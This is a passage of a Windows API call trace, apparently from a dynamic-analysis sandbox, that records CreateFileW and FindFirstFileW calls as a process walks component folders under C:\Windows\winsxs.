	[0108.611] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..gram-data.resources_31bf3856ad364e35_6.1.7600.16385_en-us_0946aad49c7f065d\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xafa5eb6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xafa5eb6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xafa5eb6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.611] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..grams-adm.resources_31bf3856ad364e35_6.1.7600.16385_en-us_59e506d340352cf7" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..grams-adm.resources_31bf3856ad364e35_6.1.7600.16385_en-us_59e506d340352cf7"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.611] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..grams-adm.resources_31bf3856ad364e35_6.1.7600.16385_en-us_59e506d340352cf7\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1257059c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1257059c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1257059c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.612] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..iagnostic.resources_31bf3856ad364e35_6.1.7601.17514_en-us_4570dd9fe024ca48" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..iagnostic.resources_31bf3856ad364e35_6.1.7601.17514_en-us_4570dd9fe024ca48"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.612] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..iagnostic.resources_31bf3856ad364e35_6.1.7601.17514_en-us_4570dd9fe024ca48\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94dfb4, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf94dfb4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xf94dfb4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.615] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..iagnostic.resources_31bf3856ad364e35_6.1.7601.17514_en-us_74a07663e30b3b7f" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..iagnostic.resources_31bf3856ad364e35_6.1.7601.17514_en-us_74a07663e30b3b7f"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.615] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..iagnostic.resources_31bf3856ad364e35_6.1.7601.17514_en-us_74a07663e30b3b7f\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94dfb4, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf97426d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xf97426d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.619] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..ience-common-logger_31bf3856ad364e35_6.1.7600.16385_none_c9643ae2e72c5455" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..ience-common-logger_31bf3856ad364e35_6.1.7600.16385_none_c9643ae2e72c5455"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.619] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..ience-common-logger_31bf3856ad364e35_6.1.7600.16385_none_c9643ae2e72c5455\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa643db8, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xa643db8, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xa643db8, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.619] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..iles-help.resources_31bf3856ad364e35_6.1.7600.16385_en-us_ec0b349bd61d1d1e" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..iles-help.resources_31bf3856ad364e35_6.1.7600.16385_en-us_ec0b349bd61d1d1e"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.619] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..iles-help.resources_31bf3856ad364e35_6.1.7600.16385_en-us_ec0b349bd61d1d1e\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf73f50, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbf73f50, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbf73f50, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.623] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..ility-assistant-adm_31bf3856ad364e35_6.1.7600.16385_none_7b487ca06770a648" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..ility-assistant-adm_31bf3856ad364e35_6.1.7600.16385_none_7b487ca06770a648"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.623] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..ility-assistant-adm_31bf3856ad364e35_6.1.7600.16385_none_7b487ca06770a648\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2812d6b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2812d6b1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x2812d6b1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.624] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..ime-upgrade-results_31bf3856ad364e35_6.1.7601.17514_none_21de7e134213566a" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..ime-upgrade-results_31bf3856ad364e35_6.1.7601.17514_none_21de7e134213566a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.624] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..ime-upgrade-results_31bf3856ad364e35_6.1.7601.17514_none_21de7e134213566a\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5f79f39, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb5f79f39, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb5f79f39, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.624] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..in-native.resources_31bf3856ad364e35_6.1.7600.16385_en-us_7ac5804315806903" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..in-native.resources_31bf3856ad364e35_6.1.7600.16385_en-us_7ac5804315806903"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.624] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..in-native.resources_31bf3856ad364e35_6.1.7600.16385_en-us_7ac5804315806903\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1252402a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1252402a, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1252402a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.628] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..ion-telemetry-agent_31bf3856ad364e35_6.1.7601.17514_none_3092574c7d41010b" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..ion-telemetry-agent_31bf3856ad364e35_6.1.7601.17514_none_3092574c7d41010b"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.628] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..ion-telemetry-agent_31bf3856ad364e35_6.1.7601.17514_none_3092574c7d41010b\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91f46db4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x91f46db4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x91f46db4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.629] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..ionrecord.resources_31bf3856ad364e35_6.1.7600.16385_en-us_6f10e1dcdb94c3d8" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..ionrecord.resources_31bf3856ad364e35_6.1.7600.16385_en-us_6f10e1dcdb94c3d8"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.629] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..ionrecord.resources_31bf3856ad364e35_6.1.7600.16385_en-us_6f10e1dcdb94c3d8\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc6299d5, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc6299d5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc6299d5, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.629] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..istant-ui.resources_31bf3856ad364e35_6.1.7600.16385_en-us_91bd2af6eda69165" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..istant-ui.resources_31bf3856ad364e35_6.1.7600.16385_en-us_91bd2af6eda69165"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.629] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..istant-ui.resources_31bf3856ad364e35_6.1.7600.16385_en-us_91bd2af6eda69165\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc69c200, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc69c200, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc69c200, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.630] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..leshooter.resources_31bf3856ad364e35_6.1.7600.16385_en-us_669ed37c9f94ce9e" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..leshooter.resources_31bf3856ad364e35_6.1.7600.16385_en-us_669ed37c9f94ce9e"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.630] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..leshooter.resources_31bf3856ad364e35_6.1.7600.16385_en-us_669ed37c9f94ce9e\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb60f3c9, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb60f3c9, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb60f3c9, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.631] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..llservice.resources_31bf3856ad364e35_6.1.7600.16385_en-us_b9c303c8bce24ecf" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..llservice.resources_31bf3856ad364e35_6.1.7600.16385_en-us_b9c303c8bce24ecf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.631] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..llservice.resources_31bf3856ad364e35_6.1.7600.16385_en-us_b9c303c8bce24ecf\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9339a8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe9339a8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe9339a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.634] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..lprovider.resources_31bf3856ad364e35_6.1.7600.16385_en-us_41183708c1b5eca0" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..lprovider.resources_31bf3856ad364e35_6.1.7600.16385_en-us_41183708c1b5eca0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.634] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..lprovider.resources_31bf3856ad364e35_6.1.7600.16385_en-us_41183708c1b5eca0\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbedb46c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbedb46c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbedb46c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.635] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..ltimateed.resources_31bf3856ad364e35_6.1.7600.16385_en-us_0593bc3c44f89478" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..ltimateed.resources_31bf3856ad364e35_6.1.7600.16385_en-us_0593bc3c44f89478"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.635] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..ltimateed.resources_31bf3856ad364e35_6.1.7600.16385_en-us_0593bc3c44f89478\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11cca7b2, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11cca7b2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11cca7b2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.636] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..managerui.resources_31bf3856ad364e35_6.1.7600.16385_en-us_a05c50e82ed745d8" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..managerui.resources_31bf3856ad364e35_6.1.7600.16385_en-us_a05c50e82ed745d8"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.636] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..managerui.resources_31bf3856ad364e35_6.1.7600.16385_en-us_a05c50e82ed745d8\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9626d23, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x9626d23, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9626d23, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.637] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..mecontrol.resources_31bf3856ad364e35_6.1.7600.16385_en-us_392ce9a7ba4fe7e8" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..mecontrol.resources_31bf3856ad364e35_6.1.7600.16385_en-us_392ce9a7ba4fe7e8"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.637] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..mecontrol.resources_31bf3856ad364e35_6.1.7600.16385_en-us_392ce9a7ba4fe7e8\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbeb51b3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbeb51b3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.641] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..nager-adm.resources_31bf3856ad364e35_6.1.7600.16385_en-us_abeeb1bd674d446d" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..nager-adm.resources_31bf3856ad364e35_6.1.7600.16385_en-us_abeeb1bd674d446d"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.641] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..nager-adm.resources_31bf3856ad364e35_6.1.7600.16385_en-us_abeeb1bd674d446d\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1257059c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1257059c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1257059c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.642] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..nce-tools.resources_31bf3856ad364e35_6.1.7601.17514_en-us_7822fa3f80720d65" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..nce-tools.resources_31bf3856ad364e35_6.1.7601.17514_en-us_7822fa3f80720d65"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.642] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..nce-tools.resources_31bf3856ad364e35_6.1.7601.17514_en-us_7822fa3f80720d65\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaddbe0a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaddbe0a, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xaddbe0a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.642] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..o-mmecore-wdm-audio_31bf3856ad364e35_6.1.7601.17514_none_a8745195fc51aa48" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..o-mmecore-wdm-audio_31bf3856ad364e35_6.1.7601.17514_none_a8745195fc51aa48"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.642] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..o-mmecore-wdm-audio_31bf3856ad364e35_6.1.7601.17514_none_a8745195fc51aa48\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa20a7a4e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa20a7a4e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa20a7a4e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.643] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..oldertool.resources_31bf3856ad364e35_6.1.7600.16385_en-us_6f45480cb40ebe9a" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..oldertool.resources_31bf3856ad364e35_6.1.7600.16385_en-us_6f45480cb40ebe9a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.643] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..oldertool.resources_31bf3856ad364e35_6.1.7600.16385_en-us_6f45480cb40ebe9a\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb681bf4, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb681bf4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb681bf4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.643] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..olicy-snapin-native_31bf3856ad364e35_6.1.7600.16385_none_9b6078314990d8e8" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..olicy-snapin-native_31bf3856ad364e35_6.1.7600.16385_none_9b6078314990d8e8"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.643] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..olicy-snapin-native_31bf3856ad364e35_6.1.7600.16385_none_9b6078314990d8e8\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x280e13f1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x28107551, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28107551, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
